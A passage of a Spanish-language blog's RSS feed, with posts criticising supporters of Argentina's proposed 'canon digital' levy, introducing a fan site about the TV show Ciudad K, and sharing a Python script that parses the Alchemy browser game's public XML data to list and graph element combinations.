<li><strong>Daniel Filmus</strong>, candidato a Jefe de Gobierno por Frente para la Victoria. Presentó <a href="http://www.odai.org/index.php?option=com_content&#038;task=view&#038;id=252&#038;Itemid=86">el proyecto de ley en 2009</a> y <a href="http://www.vialibre.org.ar/2009/03/14/no-voy-a-presentar-nada-que-no-tenga-consenso/">después se echó atrás</a> con argumentos poco convincentes.
<li><strong>Claudio Morgado</strong>, ex presidente del INADI. En sus años de legislador tuvo la misma idea del canon. Después de un <a href="http://labarbarie.com.ar/2008/el-proyecto-de-gravamen-a-la-copia-privada/">bizarro debate en su blog, reculó</a>.
<li><strong>Susana Rinaldi</strong>, candidata a legisladora por el Frente Progresista (?!) Popular. Apoya la ley y es <a href="http://www.aadi-interpretes.org.ar/Contenidos/Consejo.aspx">Vicepresidente 2º de AADI</a>.
<li><strong>Teresita Quintela</strong>, senadora por La Rioja. Presentó un proyecto similar. Si&#8230; otro, las diferencias entre todos pueden consultarse <a href="http://www.vialibre.org.ar/2011/06/28/los-senadores-insisten-canon-digital-se-tratara-hoy-en-comision-en-el-senado/">acá</a>.
</ul>
<p>¿De quién me estoy olvidando?</p>
<p>Como nota al margen y buscando a los promotores de tamaño atropello a los derechos, fui acumulando los nombres de los artista y autores que apoyan la medida. La dejo acá por si a alguien le interesa:<br />
Atilio Stampone (músico, directivo de SADAIC), Jorge Marrale (actor, secretario general de SAGAI), Pepe Soriano (actor, directivo de SAGAI), León Gieco (músico, representante de CAPIF), Salvador Valverde Calvo (guionista, vocal de ARGENTORES),  Roberto &#8220;Tito&#8221; Cossa (escritor, presidente de ARGENTORES), Leopoldo Federico (músico, <a href="http://www.aadi-interpretes.org.ar/Contenidos/Consejo.aspx">presidente de AADI</a>), Susana Rinaldi (cantante es la misma de arriba), Teresa Parodi (cantante, <a href="http://www.aadi-interpretes.org.ar/Contenidos/Consejo.aspx">Pro-Secretario de Actas de AADI</a>), Paz Martínez (músico, tesorero en SADAIC), Zamba Quipildor (músico, <a href="http://www.aadi-interpretes.org.ar/Contenidos/Consejo.aspx">Pro-Tesorero 2° de AADI</a>), Víctor Yunes (músico, secretario general de SADAIC), Carlos Galettini (cineasta, presidente de <a href="http://www.dacdirectoresdecine.org.ar/comision.html">DAC</a>, altamente recomendable en <a href="http://www.youtube.com/watch?v=LI_FGojUGxY">este debate</a> ).</p>
<p>Tal vez la próxima vez pienses dos veces antes de copiar un disco de Teresa Parodi (cuack). Entre paréntesis va a que rama del arte se dedican, porque algunos son totalmente desconocidos para los que todavía no peinamos canas. ¿Es que será que no entienden el mundo actual? Casualmente, muchos también tienen (o tuvieron) cargos en gestoras colectivas de derecho de autor. Pero estoy seguro que eso es pura casualidad.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/quien-es-quien-en-noalcanon/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
<enclosure url="http://rebeldes.org.ar/audios/2011/rs20110430-2.mp3" length="14214330" type="audio/mpeg" />
		</item>
		<item>
		<title>Ciudad K explicado</title>
		<link>http://www.lucianobello.com.ar/post/ciudad-k-explicado/</link>
		<comments>http://www.lucianobello.com.ar/post/ciudad-k-explicado/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 20:34:42 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[academy]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[social networking]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1619</guid>
		<description><![CDATA[Primero lo primero, visita: www.ciudadkexplicado.com.ar A continuación la explicación de qué es eso. Cada vez que voy al viejo continente redescubro la tele española. Está llena de programas de humor, muchos de ellos increíblemente graciosos, incluso cuando varias gracias se pierden por no ser local. La última vez que estuve ahí no fue la excepción. [...]]]></description>
			<content:encoded><![CDATA[<p>Primero lo primero, visita:<br />
<center><span style="font-size: medium;"><a href="http://www.ciudadkexplicado.com.ar/">www.ciudadkexplicado.com.ar</a></span></center><br />
A continuación la explicación de qué es eso.</p>
<p><img style="margin-left: 10px; margin-right: 10px;" src="http://www.lucianobello.com.ar/blog/Ciudadk1.jpg" align="right" /> <img style="margin-left: 10px; margin-right: 10px; margin-top: 10px;" src="http://www.lucianobello.com.ar/blog/Ciudadk2.jpg" align="right" /> <img style="margin-left: 10px; margin-right: 10px; margin-top: 10px;" src="http://www.lucianobello.com.ar/blog/Ciudadk3.jpg" align="right" />Cada vez que voy al viejo continente redescubro la tele española. Está llena de programas de humor, muchos de ellos increíblemente graciosos, incluso cuando varias gracias se pierden por no ser local. <a href="http://www.lucianobello.com.ar/post/%C2%A1nos-vemos-en-espana/">La última vez que estuve ahí</a> no fue la excepción. <a href="http://sanchezpaz.blogspot.com/">Santiago</a> me habló de un programa llamado <a href="http://www.rtve.es/television/ciudad-k/">Ciudad K</a> (sin relación con los <a href="http://www.nestorkirchner2011.com/">K de acá</a>).</p>
<p><a href="http://www.rtve.es/television/ciudad-k/">Ciudad K</a> es un ya finalizado show de 14 capítulos, dirigido por el genial <a href="http://www.mimesacojea.com/">José Antonio Pérez</a>, que fusiona el humor y el geekismo de forma épica. En esta hipotética ciudad, los habitantes tiene un nivel cultural e intelectual sobresaliente y las situaciones son de lo más bizarras. <a href="http://www.rtve.es/alacarta/videos/television/ciudad---capitulo-1/694053/">Todos los capítulos se encuentran en línea</a> y son altamente recomendables.</p>
<p>Les hablé de esta serie a muchos conocidos freaks/nerds/geeks, y con ellos solemos comentar algunos gags que allí aparecen. Así fue como hemos notamos que ninguno de nosotros entendía todos los chistes, dado que abarcan un amplio espectro entre física, tecnología, economía, cine, artes plásticas, psicología y otras ramas de la cultura y la ciencia. De hecho, rápidamente descubrimos que conversar sobre Ciudad K era una <strong>muy divertida forma de aprender nuevas cosas, especialmente en las áreas en las que uno es un completo ignorante</strong>.</p>
<p>Así fue como levanté <a href="http://www.ciudadkexplicado.com.ar">www.ciudadkexplicado.com.ar</a>, un espacio en donde espero que se pueda conversar sobre los temas que se tocaron en la serie mientras se aprenden cosas nuevas y posiblemente inútiles.</p>
<p>Este viejo <em>procrastination project</em> lo tenía pendiente desde hacía meses y lo que se ve (así de feo) es el resultado de un arrebato de aburrimiento y de las ganas de saber que tan lejos se puede llegar con <a href="https://sites.google.com/">Google Sites</a>. Pasé por varios vericuetos técnicos que, supongo, explicaré en otro post.</p>
<p>PD: <a href="https://twitter.com/#!/mimesacojea/status/77872650474618880">Lo lamento José, soy un tío</a> :P</p>
]]></content:encoded>
			<wfw:commentRss>http://www.lucianobello.com.ar/post/ciudad-k-explicado/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>alchemy: jugando a ser dios (ó cómo hacer trampa con Python)</title>
		<link>http://www.lucianobello.com.ar/post/jugando-a-ser-dios/</link>
		<comments>http://www.lucianobello.com.ar/post/jugando-a-ser-dios/#comments</comments>
		<pubDate>Sat, 04 Jun 2011 15:05:54 +0000</pubDate>
		<dc:creator>luciano</dc:creator>
				<category><![CDATA[geek]]></category>
		<category><![CDATA[procrastination]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.lucianobello.com.ar/?p=1597</guid>
		<description><![CDATA[Creo que esto de usar Python para hacer trampa se me está volviendo vicio. Es que hay veces que las cosas te piden a gritos que tomes un atajo. Y esto fue lo que me pasó esta semana. Primero un poco de contexto. La semana pasada conocí, a través de Microsiervos, un juego llamado Alchemy. [...]]]></description>
			<content:encoded><![CDATA[<p>Creo que esto de usar Python para hacer trampa <a href="/post/how-to-hack-a-h4ckc0nt3st/">se me está volviendo vicio</a>. Es que hay veces que las cosas te piden a gritos que tomes un atajo. Y esto fue lo que me pasó esta semana.</p>
<p>Primero un poco de contexto. La semana pasada conocí, a través de <a href="http://juegos.microsiervos.com/ingenio/alchemy.html">Microsiervos</a>, un juego llamado <a href="http://alchemy.l8r.pl/">Alchemy</a>. Consiste en combinar los cuatro elementos clásicos griegos (tierra, agua, fuego y aire) para generar nuevos elementos y a su vez, otros con estos.<br />
<img src="http://juegos.microsiervos.com/images/alchemy.jpg" alt="" /><br />
Se los comenté a varios conocidos y se engancharon. El tope (al menos de momento) es 200 elementos y, como se trata de un juego muy divertido y adictivo, en un tiempo razonable se puede superar los 100. Los elementos son cada vez más complejos, incluso uno se empieza a obsesionar con la idea de crear <em>human</em> :P</p>
<p>El problema llega cuando uno se estanca y la tentación de hacer trampa se hace inevitable.</p>
<p><strong>Atención: a partir de este momento el post es una especie de <a href="https://secure.wikimedia.org/wikipedia/es/wiki/Spoiler">spoiler</a> en donde se explica cómo llegar al final del juego sin <em>jugarlo</em>. Si estás jugándolo y lo disfrutas, deja de leer inmediatamente.</strong></p>
<p>Con mirar rápidamente el código de la página, uno puede descubrir cómo funciona. Parece haber un <a href="http://alchemy.l8r.pl/library.xml">archivo en donde se definen las relaciones de los elementos por un número identificador</a> y <a href="http://alchemy.l8r.pl/en_us.xml">otro donde está se mapean estos identificadores a nombres</a>. El siguiente script me ayudó a organizar la información muy rápidamente:<br />
<div id="wpshdo_1" class="wp-synhighlighter-outer"><div id="wpshdt_1" class="wp-synhighlighter-collapsed"><table border="0" width="100%"><tr><td align="left" width="80%"><a name="#codesyntax_1"></a><a id="wpshat_1" class="wp-synhighlighter-title" href="#codesyntax_1"  onClick="javascript:wpsh_toggleBlock(1)" title="Click to show/hide code block">alchemy.py</a></td><td align="right"><a href="#codesyntax_1" onClick="javascript:wpsh_code(1)" title="Show code only"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/code.png" /></a>&nbsp;<a href="#codesyntax_1" onClick="javascript:wpsh_print(1)" title="Print code"><img border="0" style="border: 0 none" src="http://www.lucianobello.com.ar/wp-content/plugins/wp-synhighlight/themes/default/images/printer.png" /></a>&nbsp;</td></tr></table></div><div id="wpshdi_1" class="wp-synhighlighter-inner" style="display: none;"><pre class="python" style="font-family:monospace;"><ol><li class="li1"><div class="de1"><span class="co1">#!/usr/bin/python</span></div></li><li class="li1"><div class="de1"><span class="kw1">import</span> <span class="kw3">urllib</span></div></li><li class="li1"><div class="de1"><span class="kw1">from</span> <span class="kw3">xml</span>.<span class="me1">dom</span> <span class="kw1">import</span> minidom</div></li><li class="li1"><div class="de1"><span class="kw1">from</span> <span class="kw3">optparse</span> <span class="kw1">import</span> OptionParser,OptionValueError</div></li><li class="li1"><div class="de1">library_xml = <span class="kw3">urllib</span>.<span class="me1">urlopen</span><span class="br0">&#40;</span><span class="st0">&quot;http://alchemy.l8r.pl/library.xml&quot;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">relations = minidom.<span class="me1">parse</span><span class="br0">&#40;</span>library_xml<span class="br0">&#41;</span>.<span class="me1">documentElement</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'entry'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">name_xml = <span class="kw3">urllib</span>.<span class="me1">urlopen</span><span class="br0">&#40;</span><span class="st0">&quot;http://alchemy.l8r.pl/en_us.xml&quot;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">names = minidom.<span class="me1">parse</span><span class="br0">&#40;</span>name_xml<span class="br0">&#41;</span>.<span class="me1">documentElement</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'library'</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'entry'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">elementsID=<span class="kw2">dict</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">elementsNAME=<span class="kw2">dict</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">class</span> Element<span class="br0">&#40;</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,<span class="kw2">id</span>,name<span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="kw2">id</span>=<span class="kw2">int</span><span class="br0">&#40;</span><span class="kw2">id</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="me1">name</span>=<span class="kw2">str</span><span class="br0">&#40;</span>name<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="me1">compoundBy</span>=<span class="br0">&#91;</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="me1">compose</span>=<span class="br0">&#91;</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">def</span> AddCompoundBy<span class="br0">&#40;</span><span class="kw2">self</span>,components<span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">        components.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'parent'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        compoundBy=<span class="br0">&#91;</span><span class="br0">&#40;</span><span class="kw2">int</span><span class="br0">&#40;</span>i.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">'id'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="kw1">for</span> i <span class="kw1">in</span> components.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'parent'</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">        <span class="kw2">self</span>.<span class="me1">compoundBy</span>.<span class="me1">append</span><span class="br0">&#40;</span>compoundBy<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">return</span> compoundBy</div></li><li class="li1"><div class="de1">    <span class="kw1">def</span> <span class="kw4">__str__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">        <span class="kw1">return</span> <span class="st0">&quot;%s (%i)&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">name</span>,<span class="kw2">self</span>.<span class="kw2">id</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">for</span> name <span class="kw1">in</span> names:</div></li><li class="li1"><div class="de1">    id_=name.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">'id'</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    name_=name._get_childNodes<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#91;</span>0<span class="br0">&#93;</span>.<span class="me1">data</span></div></li><li class="li1"><div class="de1">    element_=Element<span class="br0">&#40;</span>id_,name_<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    elementsID<span class="br0">&#91;</span><span class="kw2">int</span><span class="br0">&#40;</span>id_<span class="br0">&#41;</span><span class="br0">&#93;</span>=element_</div></li><li class="li1"><div class="de1">    elementsNAME<span class="br0">&#91;</span><span class="kw2">str</span><span class="br0">&#40;</span>name_<span class="br0">&#41;</span><span class="br0">&#93;</span>=element_</div></li><li class="li1"><div class="de1"><span class="kw1">for</span> rel <span class="kw1">in</span> relations:</div></li><li class="li1"><div class="de1">    element=elementsID<span class="br0">&#91;</span><span class="kw2">int</span><span class="br0">&#40;</span>rel.<span class="me1">getAttribute</span><span class="br0">&#40;</span><span class="st0">'id'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> parent <span class="kw1">in</span> rel.<span class="me1">getElementsByTagName</span><span class="br0">&#40;</span><span class="st0">'parents'</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">        childs=element.<span class="me1">AddCompoundBy</span><span class="br0">&#40;</span>parent<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        elementsID<span class="br0">&#91;</span>childs<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">compose</span>.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#91;</span>element.<span class="kw2">id</span>,elementsID<span class="br0">&#91;</span>childs<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="kw2">id</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">if</span> childs<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="sy0">!</span>=childs<span class="br0">&#91;</span>1<span class="br0">&#93;</span>:</div></li><li class="li1"><div class="de1">            elementsID<span class="br0">&#91;</span>childs<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">compose</span>.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#91;</span>element.<span class="kw2">id</span>,elementsID<span class="br0">&#91;</span>childs<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="kw2">id</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">def</span> default<span class="br0">&#40;</span><span class="kw3">parser</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">parser</span>.<span class="me1">rargs</span><span class="br0">&#41;</span> == 0 <span class="kw1">or</span> <span class="st0">&quot;all&quot;</span> <span class="kw1">in</span> <span class="kw3">parser</span>.<span class="me1">rargs</span>:</div></li><li class="li1"><div class="de1">        elements = elementsNAME.<span class="me1">keys</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">else</span>:</div></li><li class="li1"><div class="de1">        elements = <span class="kw3">parser</span>.<span class="me1">rargs</span></div></li><li class="li1"><div class="de1">    <span class="kw1">return</span> elements</div></li><li class="li1"><div class="de1"><span class="kw1">def</span> forWhat<span class="br0">&#40;</span>option, opt_str, value, <span class="kw3">parser</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    elements = default<span class="br0">&#40;</span><span class="kw3">parser</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> element_ <span class="kw1">in</span> elements:</div></li><li class="li1"><div class="de1">        <span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">            element=elementsNAME<span class="br0">&#91;</span>element_<span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> compose <span class="kw1">in</span> element.<span class="me1">compose</span>:</div></li><li class="li1"><div class="de1">                <span class="kw1">print</span> <span class="st0">&quot;%s = %s + %s&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>elementsID<span class="br0">&#91;</span>compose<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span>,elementsID<span class="br0">&#91;</span>compose<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span>,element.<span class="me1">name</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">raise</span> OptionValueError<span class="br0">&#40;</span><span class="st0">'element error: %s does not exist'</span> <span class="sy0">%</span> <span class="br0">&#40;</span>element_,<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">def</span> how<span class="br0">&#40;</span>option, opt_str, value, <span class="kw3">parser</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">parser</span>.<span class="me1">rargs</span><span class="br0">&#41;</span> == 0 <span class="kw1">or</span> <span class="st0">&quot;all&quot;</span> <span class="kw1">in</span> <span class="kw3">parser</span>.<span class="me1">rargs</span>:</div></li><li class="li1"><div class="de1">        elements = elementsNAME.<span class="me1">keys</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">else</span>:</div></li><li class="li1"><div class="de1">        elements=<span class="kw3">parser</span>.<span class="me1">rargs</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> element_ <span class="kw1">in</span> elements:</div></li><li class="li1"><div class="de1">        <span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">            element=elementsNAME<span class="br0">&#91;</span>element_<span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> formula <span class="kw1">in</span> element.<span class="me1">compoundBy</span>:</div></li><li class="li1"><div class="de1">                <span class="kw1">print</span> <span class="st0">&quot;%s = %s + %s&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>element.<span class="me1">name</span>, elementsID<span class="br0">&#91;</span>formula<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span>, elementsID<span class="br0">&#91;</span>formula<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">raise</span> OptionValueError<span class="br0">&#40;</span><span class="st0">'element error: %s does not exist'</span> <span class="sy0">%</span> <span class="br0">&#40;</span>element_,<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw1">def</span> myaddition<span class="br0">&#40;</span>a,b,c<span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    ret=<span class="kw2">set</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="co1"># a = b + c</span></div></li><li class="li1"><div class="de1">    addition=<span class="st0">&quot;%s%s%s&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>a,b,c<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    ret.<span class="me1">add</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span> [shape=point,style=filled,label=<span class="es0">\&quot;</span><span class="es0">\&quot;</span>,height=.1,width=.1]&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>addition,<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    ret.<span class="me1">add</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span>-&gt;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span> [weight=1];<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span>-&gt;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span> [weight=1];<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span>-&gt;<span class="es0">\&quot;</span>%s<span class="es0">\&quot;</span> [weight=2]&quot;</span> <span class="sy0">%</span> <span class="br0">&#40;</span>b, addition,c,addition,addition,a<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">return</span> ret</div></li><li class="li1"><div class="de1"><span class="kw1">def</span> graph<span class="br0">&#40;</span>option, opt_str, value, <span class="kw3">parser</span><span class="br0">&#41;</span>:</div></li><li class="li1"><div class="de1">    elements = default<span class="br0">&#40;</span><span class="kw3">parser</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    ret=<span class="st0">''</span><span class="st0">'digraph G {</span></div></li><li class="li1"><div class="de1"><span class="st0">        overlap=scale</span></div></li><li class="li1"><div class="de1"><span class="st0">        splines=true</span></div></li><li class="li1"><div class="de1"><span class="st0">        rankdir=TB<span class="es0">\n</span>'</span><span class="st0">''</span></div></li><li class="li1"><div class="de1">    connections=<span class="kw2">set</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> element_ <span class="kw1">in</span> elements:</div></li><li class="li1"><div class="de1">        element=elementsNAME<span class="br0">&#91;</span>element_<span class="br0">&#93;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">try</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> formula <span class="kw1">in</span> element.<span class="me1">compoundBy</span>:</div></li><li class="li1"><div class="de1">                a=element.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                b=elementsID<span class="br0">&#91;</span>formula<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                c=elementsID<span class="br0">&#91;</span>formula<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                connections|=myaddition<span class="br0">&#40;</span>a,b,c<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">            <span class="kw1">for</span> compose <span class="kw1">in</span> element.<span class="me1">compose</span>:</div></li><li class="li1"><div class="de1">                a=elementsID<span class="br0">&#91;</span>compose<span class="br0">&#91;</span>0<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                b=element.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                c=elementsID<span class="br0">&#91;</span>compose<span class="br0">&#91;</span>1<span class="br0">&#93;</span><span class="br0">&#93;</span>.<span class="me1">name</span></div></li><li class="li1"><div class="de1">                connections|=myaddition<span class="br0">&#40;</span>a,b,c<span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">        <span class="kw1">except</span>:</div></li><li class="li1"><div class="de1">            <span class="kw1">raise</span> OptionValueError<span class="br0">&#40;</span><span class="st0">'element error: %s does not exist'</span> <span class="sy0">%</span> <span class="br0">&#40;</span>element_,<span class="br0">&#41;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1">    <span class="kw1">for</span> conn <span class="kw1">in</span>  connections:</div></li><li class="li1"><div class="de1">        ret+=conn+<span class="st0">';<span class="es0">\n</span>'</span></div></li><li class="li1"><div class="de1">    ret+=<span class="st0">'}'</span></div></li><li class="li1"><div class="de1">    <span class="kw1">print</span> ret</div></li><li class="li1"><div class="de1"><span class="kw3">parser</span> = OptionParser<span class="br0">&#40;</span><span class="st0">&quot;usage: %prog [options] [ELEMENTS|all]&quot;</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw3">parser</span>.<span class="me1">add_option</span><span class="br0">&#40;</span><span class="st0">&quot;-g&quot;</span>, <span class="st0">&quot;--how&quot;</span>, action=<span class="st0">&quot;callback&quot;</span>, callback=how, dest=<span class="st0">&quot;how&quot;</span>, <span class="kw2">help</span>=<span class="st0">&quot;how can I get ELEMENT&quot;</span>, default=<span class="kw2">False</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw3">parser</span>.<span class="me1">add_option</span><span class="br0">&#40;</span><span class="st0">&quot;-f&quot;</span>, <span class="st0">&quot;--forWhat&quot;</span>, action=<span class="st0">&quot;callback&quot;</span>, callback=forWhat, dest=<span class="st0">&quot;forWhat&quot;</span>, <span class="kw2">help</span>=<span class="st0">&quot;for what elements can ELEMENT be used&quot;</span>, default=<span class="kw2">False</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="kw3">parser</span>.<span class="me1">add_option</span><span class="br0">&#40;</span><span class="st0">&quot;-c&quot;</span>, <span class="st0">&quot;--graph&quot;</span>, action=<span class="st0">&quot;callback&quot;</span>, callback=graph, dest=<span class="st0">&quot;graph&quot;</span>,   <span class="kw2">help</span>=<span class="st0">&quot;graph the parents/childs from/to ELEMENT&quot;</span>, default=<span class="kw2">False</span><span class="br0">&#41;</span></div></li><li class="li1"><div class="de1"><span class="br0">&#40;</span>options, args<span class="br0">&#41;</span> = <span class="kw3">parser</span>.<span class="me1">parse_args</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div></li></ol></pre></div></div></p>
<p>Así, si quiero saber cómo obtener el elemento <em>egg</em>:<br />
<code><br />
$ ./alchemy.py -g egg<br />
egg = life + stone<br />
egg = bird + bird<br />
egg = turtle + turtle<br />
egg = lizard + lizard<br />
</code><br />
Si quiero saber para que me pueden servir los elemetos <em>dough</em> y <em>sea</em>:<br />
<code>$ ./alchemy.py -f dough sea<br />
bread = fire + dough<br />
cookie = fruit + dough<br />
ocean = water + sea<br />
seaweed = plant + sea<br />
beach = sand + sea<br />
wave = wind + sea<br />
tides = moon + sea<br />
seasickness = sickness + sea<br />
algae = plant + sea<br />
horizon = sky + sea<br />
</code><br />
Para obtener todas las combinaciones:<br />
<code>$ ./alchemy.py -g all</code><br />
que da <a href="http://www.lucianobello.com.ar/blog/alchemy_all.txt">este</a> listado. Me pareció interesante hacer algunos grafos con estos datos. Así se puede ver la sección local de <em>light bulb</em>:<br />
<code>./alchemy.py -c "light bulb" | dot -Tpng > light_bulb.png ; display light_bulb.png</code><br />
<img src="http://www.lucianobello.com.ar/blog/alchemy_graph.png" alt="" /><br />
Claro que también se puede hacer el grafo completo (si se tiene memoria y tiempo):<br />
<code>$ ./alchemy.py -c all | neato -Tpng > all.png ; display all.png</code><br />
Así se genera una imagen enorme de la que se puede ver un fragmento a continuación (<a href="http://www.lucianobello.com.ar/blog/alchemy_all.jpg">click acá</a> para verla completa, son 13MB 12027x 13593).<br />
<img src="http://www.lucianobello.com.ar/blog/alchemy_all_.png"/><br />
